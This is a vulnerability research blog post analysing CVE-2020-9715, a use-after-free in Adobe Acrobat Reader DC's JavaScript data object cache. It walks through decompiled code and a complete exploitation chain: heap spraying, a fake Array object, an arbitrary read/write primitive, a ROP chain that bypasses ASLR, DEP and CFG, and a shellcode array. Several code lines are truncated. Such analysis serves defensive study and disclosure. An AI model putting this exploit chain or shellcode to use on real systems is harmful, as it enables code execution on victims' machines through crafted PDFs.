EXODUS BLOG

Analysis of a use-after-free Vulnerability in Adobe Acro

APRIL 20, 2021
Vulnerability Analysis, Exploit Techniques, General Research

By Sergi Martinez

This post analyses CVE-2020-9715, a use-after-free vulnerability affecting several versions of the Adobe Acrobat and Adobe Acrobat Reader products. The vulnerability was discovered by Mark Vincent Yason, who reported it to the Zero Day Initiative (ZDI) disclosure program.

This research was inspired by a detailed blog post by ZDI that analyzed the vulnerability. The exploitation broadly follows the steps outlined in the ZDI blog post, but describes the vulnerability and exploitation steps in more detail.

Overview

A use-after-free vulnerability affects the `data ESObject` cache within the `EScript.api` module of Adobe Acrobat Reader DC. Although objects may be added to the cache using keys with ANSI or Unicode strings, objects are evicted from the cache by keys that contain only Unicode strings. This enables an attacker to cause a `data ESObject` to be freed, but its pointer to remain intact in the object cache entry. When the same JavaScript object is later accessed, its cache entry is found despite the corresponding `data ESObject` having been freed. This leads to a use-after-free condition. An attacker can exploit this vulnerability to achieve code execution by enticing a user to open a crafted PDF file.

The vulnerability analysis that follows is based on Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 64-bit.

CVE-2020-9715

Before we dive into the vulnerability, we need to understand how embedded JavaScript is handled by Adobe Reader.

Adobe Reader has a built-in JavaScript engine based on Mozilla's SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the `EScript.api` module in Adobe Reader.

The Adobe Reader JavaScript engine uses several types of objects including `ESObjects` and `JSObjects`. `ESObjects` are internal to the `EScript.api` module and contain a pointer to the classical JavaScript objects, `JSObjects`.

Several kinds of `ESObjects` exist and among them is the `data ESObject`, which is a type of object used to represent embedded files and data streams. `data ESObjects` are uniquely identified by a key (referred to as `cache_key` in this post) that contains:

- A pointer to a `PDDoc` object, which is an object that represents the PDF document.
- The name of the `data ESObject` that is an ANSI or Unicode string containing the name of the embedded file.

References to `data ESObjects` are stored in a cache indexed by `cache_key`. When a new `data ESObject` is constructed with a certain name, a `cache_key` object is constructed with that name and is used to search the cache for the presence of the `data ESObject` that matches the name. If the search is a cache hit, a pointer to the `data ESObject` is returned. Otherwise, a new `data ESObject` is created and stored in the cache, and a pointer to it is returned.

The vulnerability occurs due to a mismatch in the encoding of the name string during the construction of `cache_key` used in the insertion and deletion phases in the lifecycle of a `data ESObject`. When a `data ESObject` is created and added to the cache, the name used in the `cache_key` retains the original encoding (ANSI or Unicode) found in the PDF document.

When a `data ESObject` is deleted from the cache, the name used in the `cache_key` is always encoded in Unicode. This leads to a condition where cache entries for `data ESObject` with ANSI names are never purged from cache; instead the cache entries retain pointers to freed `data ESObjects` indefinitely.

If an ANSI `data ESObject` is thus freed, and the code tries to create a new `data ESObject` with a matching name (e.g., when JavaScript code deletes `this.dataObjects[0]` and then accesses `this.dataObjects[0]`), a cache hit occurs but the pointer returned is the pointer to the ANSI-named `data ESObject` that was previously freed. This leads to an exploitable use-after-free condition.

Code Analysis

Lets take a look at how these objects are represented under the hood, and examine where the bug exists. Code listings show decompiled C code; source code is not available in the affected product. Structure definitions, function names, etc. are obtained by reverse engineering and may not accurately reflect those defined in the source code.

Structure Definitions

The cache mechanism is implemented with the use of a variant of Binary Search Trees. A pointer to the cache is kept in a global variable at `EScript+0x273AAC`, which points to a structure (named here as `esobject_cache_st`) defined as follows:

```
1  typedef struct esobject_cache_st {
2    bst_node *root_node;
3    int      *node_count;
4    void     *unkonw;
5  } esobject_cache;
6
7  typedef struct bst_node_st {
8    bst_node  *left;
9    bst_node  *parent;
10   bst_node  *right;
11   int       node_type;
12   cache_key *key;
13   void      *esobject;
14 } bst_node;
```

A pointer to the `cache_key` structure is stored within each node in the cache. The `cache_key` structure is defined as follows:

```
typedef struct cache_key_st {
  void *pddoc;
  ESString *name;
} cache_key;
```

The `cache_key` structure contains the name of the embedded file in the form of an `ESString` structure, which is defined as follows:

```
typedef struct esstring_st {
  int  type;
  char *buffer;
  int  len;
  int  max_capacity;
  void *unknown1;
  void *unknown2;
} ESString;
```

In the structure above, the `buffer` member is a pointer to the string encoded in the format specified in the `type` member (1 for ANSI, 2 for Unicode). Its length is defined by the `len` member and the maximum capacity of the buffer is indicated by `max_capacity`. In Unicode `ESString` objects the `buffer` encoding is UTF-16 with Byte Order Mark (BOM).

Comparing Cache Keys

Any operation that requires traversing the tree require a key comparison function. This function is implemented at `EScript+0x90770` and its code is listed below.

```
bool is_key_greater(cache_key *key1, cache_key *key2)
{
  ESString *data_object_name_from_cache;
  ESString *data_object_name;

[1]

  if ( a1->pddoc != key->pddoc )
    return a1->pddoc < (unsigned int)key->pddoc;
  name2 = key2->name;
  name1 = key1->name;
  return esstrings_compare(&name1, &name2);
}
```

The function first checks whether the keys belong to the same PDF document `[1]`. If they belong to the same PDF document then it proceeds to compare the names of the keys, which are `ESString` objects.

The `ESString` comparison function (implemented at `EScript+0x45B07`) is listed below.

```
bool esstrings_compare(ESString **name1, ESString **name2)
{
  ESString *type1;
  ESString *type2;
  bool v4;

  type1 = get_ESString_type(*name1);
  type2 = get_ESString_type(*name2);

[2]

  if ( type1 == type2 )
    v4 = (sub_23845B5E(*name1, *name2) & 0x8000u) != 0;
  else
    v4 = (int)type1 < (int)type2;
  return v4;
}
```

Relevant to this vulnerability is that at `[2]` there is a check that compares the `ESString` types. If they differ, the result of the function is `true` if `type1` is less than `type2`. For example, when comparing two keys with the same name of different types where `type1` is ANSI (1) and `type2` is Unicode (2), the `esstrings_compare` function returns `true`.

When performing a lookup in the `data ESObject` cache, the function that implements it (`EScript+0x90476`) considers keys with the same `name` but different `ESString` types as different.

Deleting Cache Entries

When a `data ESObject` is freed, the corresponding cache entry that stores a pointer to the object is also freed. The `ESObject` deletion is implemented in the function at `EScript+0x907B0`, which is listed below.

```
__int16 delete_object(int a1)
{
  int v1;
  ESString *v2;
  wchar_t *v3;
  wchar_t *v4;
  esobject_cache_struct *cache_ptr;
  cache_key key;
  int v8[3];
  int v9;

  v1 = sub_23858B70(a1);

[1]

  v2 = (ESString *)sub_23844B00(a1, "DataObject");
  v3 = (wchar_t *)v2;
  if ( v1 )
  {
    if ( !v2 )
      return 1;
    v4 = (wchar_t *)get_dataobject_name(v2);
    v8[0] = (int)v4;
    v9 = 0;
    key.doc = v1;
    sub_23877D42(&key.name, (ESString **)v8);
    LOBYTE(v9) = 1;
    cache_ptr = initialize_data_esobject_cache(global_cache_ptr);

[2]

    remove_key_from_cache(cache_ptr, &key);
    LOBYTE(v9) = 2;
    if ( key.name )
      sub_23845AAE((wchar_t *)key.name);
    v9 = 3;
    if ( v4 )
      sub_23845AAE(v4);
    v9 = -1;
  }
  if ( v3 )
    sub_23845AAE(v3);
  return 1;
}
```

The call at `[1]` returns a pointer to an `ESString` object used to create the `cache_key` object. This is passed to the function that removes cache nodes matching the `cache_key` object at `[2]`.

The vulnerability occurs because `[1]` returns a pointer to an `ESString` object whose type is always Unicode (`ESString.type = 2`). However, the `ESString` value of the keys stored in the cache nodes keeps the type that was used in the definition of the data object in the PDF file. If that name was defined as an ANSI string in the PDF file, the cache key would also be ANSI (`ESString.type = 1`).

Any lookup for a cache entry whose name was defined with an ANSI `ESString` is never found, since the created cache key used for the lookup is always a Unicode `ESString`. This prevents the cache node from being removed, leaving a stale pointer to the corresponding `ESObject` that is freed.

Accessing Deleted Objects

When the data `ESObject` cache contains entries that were not removed due to the `ESString` type mismatch problem, any attempt to access the freed object from JavaScript retrieves the stale pointer corresponding to that entry. Therefore, any operation on that pointer causes an access to memory that was already freed, triggering the use-after-free.

The function listed below handles accesses to `data ESObjects` and is implemented at `EScript+0x929F0`.

```
__int16 accessDataObjects(int a1, int a2, int a3)
{
  wchar_t *v3;
  int v5;
  int v6;
  int v7;
  ESString *v8;
  int v9;
  bool v10;
  wchar_t *v11;
  int v12;
  int freed_object_retrieved;
  int v14;
  int v15[3];
  wchar_t *v16;
  wchar_t *v17;
  wchar_t *v18;
  int v19;
  int v20;

  v3 = (wchar_t *)sub_23858B70(a1);
  v16 = v3;
  if ( !v3 )
    return sub_238AB500(a1, a2, 0, 14, 0);
  v17 = (wchar_t *)sub_238401C0((int *)a1);
  v5 = sub_2387DC8A(v3, v14);
  v6 = v5;
  v7 = 0;
  if ( v5 )
    v18 = (wchar_t *)custom_calloc(v5, 4);
  else
    v18 = 0;
  v8 = new_esstring(0, 1);
  v15[2] = (int)v8;
  v20 = 0;
  v9 = 0;
  v19 = 0;
  v10 = v6 == 0;
  if ( v6 > 0 )
  {
    v11 = v18;
    _mm_lfence();
    do
    {
      sub_2387DB6D(v16, v9, (int)v8);
      v12 = sub_2383D040(v17, 1);
      *(_DWORD *)&v11[2 * v19] = v12;
      v15[0] = (int)v16;

[1]

      v15[1] = get_ESString_buffer(v8);

[2]

      freed_object_retrieved = sub_23882310(v17, "Data", (wchar_t *

[3]

      sub_2383D430(*(int **)&v11[2 * v19], freed_object_retrieved);
      v9 = v19 + 1;
      v19 = v9;
    }
    while ( v9 < v6 );
    v7 = 0;
```

```
66      v10 = v6 == 0;
67    }
68    if ( !v10 )
69      v7 = sub_2385CE40(v17, v18, v6, 1);
70    sub_2383D430((int *)a3, v7);
71    if ( v6 )
72      (*(void (__cdecl **)(wchar_t *))(dword_23A7538C + 12))(v18);
73    v20 = 1;
74    if ( v8 )
75      sub_23845AAE((wchar_t *)v8);
76    return 1;
77  }
```

The call at `[1]` triggers the creation of data `ESObjects` based on the data object name retrieved at `[2]`. This causes a cache lookup that returns the `ESObject` pointer of the corresponding cache entry that is then used in the call at `[3]`.

Exploitation

We'll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. The following exploit is designed for Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 x64.

A successful exploit strategy needs to bypass the following security mitigations on the target:

- Address Space Layout Randomization (ASLR)
- Data Execution Prevention (DEP)
- Control Flow Guard (CFG)

In order to bypass all three mitigations, the following exploitation strategy is adopted:

1. Spray a large number of `ArrayBuffer` objects with the correct size so they are adjacent to each other. The sprayed `ArrayBuffer` objects must contain a crafted fake `Array` object that is used to corrupt the adjacent `ArrayBuffer.byteLength` field (step 6).
2. Prime the Low Fragmentation Heap (LFH) for size 0x48 (the size of the freed `ESObject`).
3. Create and free the target `ESObject`.
4. Spray crafted strings to allocate memory in the address used by the freed `ESObject`. The crafted string must contain a pointer to a predictable address where one of the fake `Array` objects created in step 1 would be.
5. Trigger the `ESObject` reuse to obtain a handle to the fake `Array` in the exploit JavaScript code.
6. Use the fake `Array` handle obtained in step 5 to write past the underlying `ArrayBuffer` boundaries and overwrite the `byteLength` field of the adjacent `ArrayBuffer` with the value 0xffffffff. This, combined with the creation of a `DataView` object on the corrupted `ArrayBuffer` allows reading from and writing to arbitrary memory addresses.
7. Use the arbitrary read and write to write the ROP chain and shellcode.
8. Overwrite a function pointer of the fake `Array` object and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Spraying ArrayBuffer Objects

When dealing with the heap, the addresses of allocations are not consistent between executions and thus can not be hardcoded into the exploit. In order to be able to place controlled memory regions in predictable addresses the internals of the memory manager have to be leveraged.

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent

memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using `ArrayBuffer` objects. The memory allocated with these objects can be read from and written to with the use of `DataView` objects.

In order to get a heap allocation of the right size the metadata of `ArrayBuffer` objects and heap chunks have to be taken into consideration. The internal representation of `ArrayBuffer` objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the `ArrayBuffer` objects created during the heap spray must be of 0xffe8 bytes.

```
var SHIFT_ALIGNMENT = 4;
var FAKE_ARRAY_JSOBJ_ADDR = 0x40000058 + SHIFT_ALIGNMENT;
var HEAP_SEGMENT_SIZE = 0x10000
var ARRAY_BUFFER_SZ = HEAP_SEGMENT_SIZE-0x10-0x8

[1]

var arrayBufferSpray = new Array(0x8000);

function sprayArrayBuffers() {

    // Spray a large number of ArrayBuffers containing crafted data
    // so we end up with a fake JS array object at FAKE_ARRAY_JSOBJ

    for (var i = 0; i < arrayBufferSpray.length; i++) {
        arrayBufferSpray[i] = new ArrayBuffer(ARRAY_BUFFER_SZ);
        var dv = new DataView(arrayBufferSpray[i]);


[2]

        // ArrayObject.shape_
        dv.setUint32(SHIFT_ALIGNMENT+0, FAKE_ARRAY_JSOBJ_ADDR+0x10,

        // ArrayObject.type_
        dv.setUint32(SHIFT_ALIGNMENT+4, FAKE_ARRAY_JSOBJ_ADDR+0x40,

        // ArrayObject.elements_
        dv.setUint32(SHIFT_ALIGNMENT+0xc, FAKE_ARRAY_JSOBJ_ADDR+0x8

        // ArrayObject.shape_.base_
        dv.setUint32(SHIFT_ALIGNMENT+0x10, FAKE_ARRAY_JSOBJ_ADDR+0x

        // ArrayObject.shape_.base_.flags
        dv.setUint32(SHIFT_ALIGNMENT+0x20+0x10, 0x1000, true);

        // ArrayObject.type_.classp
        dv.setUint32(SHIFT_ALIGNMENT+0x40, FAKE_ARRAY_JSOBJ_ADDR+0x

        // ArrayObject.type_.classp.enumerate
        dv.setUint32(SHIFT_ALIGNMENT+0x40+0x10+0x1c, 0xdead1337, tr

        // ArrayObject.elements_.flags
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10, 0, true);

        // ArrayObject.elements_.initializedLength
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+4, 0xffff, true);

        // ArrayObject.elements_.capacity
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+8, 0xffff, true);

        // ArrayObject.elements_.length
        dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true);
    }
}
```

The exploit function listed above performs the `ArrayBuffer` spray. The total size of the spray defined in `[1]` was determined by setting a number high enough so an `ArrayBuffer` would be allocated at the selected predictable address defined by the `FAKE_ARRAY_OBJ_ADDR` global variable.

Each of the sprayed ArrayBuffer objects contain a crafted fake Array object `[2]`. To craft a fake `Array` objects not all the internal structures need to be provided. However, there are some important values that need to be chosen carefully:

- `Elements.initializedLength`: The number of elements that have been initialized.
- `Elements.capacity`: The number of allocated slots.
- `Elements.length`: The `length` property of `Array` objects.

When the use-after-free condition is triggered, operations on the crafted `Array` object (set as values of the sprayed the `ArrayBuffer` object) include reading and writing to the Array. The eventual goal is to corrupt the `byteLength` field of an `ArrayBuffer` object (which is a well-known method to obtain a read and write primitive). By ensuring that the crafted `Array` object allows writing past the boundaries of the underlying `ArrayBuffer` object and into an adjacent `ArrayBuffer`, the adjacent `ArrayBuffer` can be desirably corrupted. Therefore, the values of the `Array` object properties need to be bigger than number of bytes that separate the start of the array from the next `ArrayBuffer` metadata.

Priming the Low Fragmentation Heap

The size of the object that is freed in this vulnerability is of 0x48 bytes (the size of an `ESObject`). Allocations with this size are likely to end up being handled by the Low Fragmentation Heap (LFH) if enough consecutive allocations of that size are performed.

In order to be able to allocate into the addresses of the freed `ESObject`, it is good to make sure that the object is handled by the LFH in order to reduce the possibility of the application uncontrollably allocating into that spot.

```
var lfhPrime = new Array(0x1000);

function primeLFH() {

    // Activate the LFH bucket for size 0x48 (real chunk size is 0x
    // We want the allocation of the UAFed object to fall in the LF

[1]

    var baseString = "Prime the LFH!".repeat(100);
    for (var i = 0; i < lfhPrime.length; i++) {
        lfhPrime[i] = baseString.substring(0, 0x48 / 2 - 1).toUpper
    }

[2]

    for (var i = 0; i < lfhPrime.length; i+=2) {
        lfhPrime[i] = null;
    }
}
```

The function listed above performs multiple allocations of size 0x48 `[1]` in order to activate the LFH bucket for that size. Activating the LFH for a specific size requires at least 0x11 consecutive allocations. However, since the application might require allocations of that specific size for other uses, some of the allocations are freed to reduce the possibility of it allocating into the freed `ESObject` spot `[2]`.

Creating and Freeing the Vulnerable Object

Once the memory is laid out the `ESObject` has to be created, added into the cache, and then freed.

```
[1]

this.dataObjects[0].toString();

[2]

this.dataObjects[0] = null;

[3]

g_timeout = app.setTimeOut("triggerUAF()", 1000);
```

In the code listing above, `[1]` triggers the creation of the `data ESObject` that is stored in the object cache. Then, `[2]` removes the reference to it so when the Garbage Collector is triggered in `[3]` the `ESObject` is freed.

Allocating Into the Freed Spot

At this point the heap has been curated for allocation into the freed `ESObject` spot. To do so, a large number of allocations of size 0x48 have to be performed in order to have a chance of one landing into that spot.

```
[1]

var stringSpray = new Array(0x2000);

function sprayStrings() {
    // Spray strings of size 0x48/2-1 in order to eventually alloca
    var baseString = unescape(toUnescape(FAKE_ARRAY_JSOBJ_ADDR).rep
    for (var i = 0; i < stringSpray.length; i++) {
        stringSpray[i] = baseString.substring(0, 0x48 / 2 - 1).toLo
    }
}
```

The allocations are performed with a spray of the size defined at `[1]`. The value for this size is the double of the size selected for priming the LFH to make sure to fill the free spots left and also the `ESObject` spot.

The object used in the spray is a string, as it allows an easy control of the size and contents without any metadata overhead. The contents of the string is the unescaped value of the address where a fake `Array` object is expected to have been allocated during the initial `ArrayBuffer` spray. The `unescape` function is used to deal with Unicode transformation.

Achieving Arbitrary Read and Write

Once the predictable address occupies the spot in memory left by the freed `ESObject` and points to the fake `Array` object, an access to the data object provides a handle to that fake `Array` object that can be used as a normal `Array`. This can be achieved with the following line of code:

```
var fakeArrObj = this.dataObjects[0]
```

By carefully choosing the element of the fake `Array` to assign a value to, the adjacent `ArrayBuffer` can be corrupted. The interesting value to corrupt is the `byteLength` property. Following the `byteLength` field, the next value in memory is a pointer to the `DataView` object associated to the `ArrayBuffer`. It is important to take into account that this value can only be either a valid pointer or zero.

```
function getArbitraryRW(fakeArrObj) {
    var corruptedArrayBuffer = null;

[1]

    var nextABByteLengthOffset = ARRAY_BUFFER_SZ-0x10-0x70+0x8;
    fakeArrObj[nextABByteLengthOffset / 8] = 2.12199579047120666927

[2]
```

```
10
11      fakeArrObj[0] = this.addField("t", "text", 0, [0, 0, 0, 0 ]);
12      fakeArrObj[0].value = "dummy1337w00t";
13
14  [3]
15
16      for (var i = 0; i < arrayBufferSpray.length; i++) {
17          if (arrayBufferSpray[i].byteLength == -1) {
18              corruptedArrayBuffer = arrayBufferSpray[i];
19          }
20      }
21
22  [4]
23
24      return new DataView(corruptedArrayBuffer);
25  }
```

In the code listing above, the `byteLength` value of the adjacent `ArrayBuffer` object is overwritten `[1]`. The integer value used translates to 0xFFFFFFFF 0x00000000 in memory due to the IEEE 754 representation for double values.

Aside from the `ArrayBuffer` corruption, a text field is created and assigned to the fake `Array [2]`. This is later used to leak a pointer to the `AcroForm.api` module, which is used to leak the `icucnv58.dll` module base address.

The next step is to locate the corrupted `ArrayBuffer` by checking the size of all the allocated buffers `[3]`. Finally, creating a `DataView` on the corrupted `ArrayBuffer` allows to read from and write to arbitrary memory addresses, since the size of the `ArrayBuffer` was set to 0xffffffff. However, the addresses specified when reading or writing memory are relative to the address where the corrupted `ArrayBuffer` is located. For convenience, the following helper functions were created to read and write memory using absolute addresses.

```
1   function readUint32(dataView, absoluteAddress) {
2       var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGM
3       var addrOffset = absoluteAddress - startAddr;
4       if (addrOffset < 0) {
5           addrOffset = addrOffset + 0xffffffff + 1;
6       }
7       return dataView.getUint32(addrOffset, true);
8   }
9
10  function writeUint32(dataView, absoluteAddress, data) {
11      var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGM
12      var addrOffset = absoluteAddress - startAddr;
13      if (addrOffset < 0) {
14          addrOffset = addrOffset + 0xffffffff + 1;
15      }
16      dataView.setUint32(addrOffset, data, true);
17  }
```

Writing and Executing the ROP Chain

The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules. CFG forbids redirecting the execution flow via pointer overwrite to arbitrary addresses.

One way of bypassing the CFG restrictions is to redirect the execution flow to a module that was not built with CFG enabled. Adobe Acrobat Reader DC ships with some modules that do not have CFG enabled. The most convenient one for the current exploit is `icucnv58.dll`. Its large size (plenty of options for ROP gadgets) and the fact that it gets loaded at runtime if text fields are used (this module offers functions to handle Unicode data) makes it a perfect candidate.

Taking this into account, the strategy can be the following:

1. Obtain pointers to the relevant modules to calculate their base addresses.

2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
3. Write the shellcode.
4. Call `VirtualProtect` to change the shellcode memory region permissions to allow execution.
5. Overwrite a function pointer that can be called later from JavaScript.

The following code implements the mentioned strategy:

```
function writePayload(dv) {

[1]

    var escriptAddrDelta = 0x275528;
    var fakeArrObjElementsPtr = readUint32(dv, FAKE_ARRAY_JSOBJ_ADD
    var escriptBaseAddr = readUint32(dv, readUint32(dv, fakeArrObjE

[2]

    var acroFormAddrDelta = 0x2827d0;
    var acroFormBaseAddr = readUint32(dv, readUint32(dv, readUint32

[3]

    var icucnv58AddrDelta = 0xc3ad8c;
    var icucnv58BaseAddr = readUint32(dv, readUint32(dv, acroFormBa

[4]

    var kernel32BaseAddr = readUint32(dv, escriptBaseAddr+0x273ED0)

[5]

    // Stack pivot
    //    0x95907: mov esp, 0x59000008; ret;
    var stackPivot = icucnv58BaseAddr+0x95907;

[6]

    var virtualProtectStubDelta = 0x20420;
    writeUint32(dv, 0x59000008, kernel32BaseAddr+virtualProtectStub

[7]

    // VirtualProtect parameters
    writeUint32(dv, 0x59000008+4, SHELLCODE_ADDR);
    writeUint32(dv, 0x59000008+8, SHELLCODE_ADDR);
    writeUint32(dv, 0x59000008+12, SHELLCODE_BUFFER_SZ);
    writeUint32(dv, 0x59000008+16, 0x40);
    writeUint32(dv, 0x59000008+20, fakeArrObjElementsPtr+0x8);

    // Write the shellcode
    shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x
    0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x7
    0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x7
    0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x2
    0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xf
    0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd

[8]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(dv, SHELLCODE_ADDR+i*4, shellcode[i]);
    }

[9]

    // Overwrite the fake array ArrayObject.type_.classp.enumerate
    writeUint32(dv, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10+0x1c, stackPivo
}
```

In the code listing above, at `[1]`, `[2]`, `[3]`, and `[4]` the base addresses of the `EScript.api`, `AcroForm.api`, `icucnv58.dll`, and `Kernel32.dll` modules are obtained. At `[5]` the address to the stack pivot gadget is calculated. The function pointer selected to hijack the execution flow

does not allow controlling any other CPU register, so the stack pivot gadget selected (`mov esp, 0x59000008; ret`) relocates the stack to 0x59000008, where the address of the `VirtualProtect` function `[6]` and the parameters passed to it are written `[7]`. Finally, the shellcode is written `[8]` and the fake `Array` object internal pointer `ArrayObject.type_.classp.enumerate` is overwritten with the address of the stack pivot gadget `[9]`.

The last step is to trigger the execution of the ROP chain by assigning a value to an nonexistent property of the fake `Array` object. This would call the internal `enumerate` function as it should define all the lazy properties not yet reflected in the object. This can be done with the following line of code:

```
1 fakeArrObj.triggerRopchain = 2;
```

Conclusion

Adobe patched this vulnerability in August 2020. However it is likely that more vulnerabilities of this nature will continue to pop up in Adobe Reader given its large attack surface. We hope you enjoyed reading our analysis and learned something new. Be sure to checkout our other blog posts such as Firefox vulnerability research and patch-gapping Chrome.